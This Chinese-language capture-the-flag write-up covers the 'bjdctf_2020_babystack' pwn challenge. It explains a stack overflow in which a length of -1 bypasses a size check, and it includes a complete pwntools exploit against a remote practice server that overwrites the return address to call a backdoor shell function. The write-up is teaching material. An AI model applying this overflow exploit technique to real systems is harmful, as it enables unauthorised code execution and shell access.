bjdctf_2020_babystack
使用checksec
查看:
只开启了栈不可执行。
放进IDA中分析:
__isoc99_scanf("%d", &nbytes);
:让用户输入下次输入时接受的数据的长度。read(0, &buf, (unsigned int)nbytes);
:变量nbytes
用户可控,存在栈溢出。
在Functions name处可发现后门函数backdoor()
:
- 直接返回一个shell
题目思路
- 变量
(unsigned int)nbytes
用户可控,且是个无符号函数。 - 可用
-1
进行绕过,这样用户可输入的数据长度就十分巨大了。 - 接着调用
backdoor()
即可getshell。
步骤解析
无需
完整exp
from pwn import *
#start
# r = process("../buu/bjdctf_2020_babystack")
r = remote("node4.buuoj.cn",25148)
elf = ELF("../buu/bjdctf_2020_babystack")
#params
backdoor_addr = elf.symbols['backdoor']
#attack
r.recvuntil(b"your name:")
r.sendline("-1")
r.recvuntil(b"name?")
payload = b'M' * (0x10 + 8) + p64(backdoor_addr)
r.sendline(payload)
r.interactive()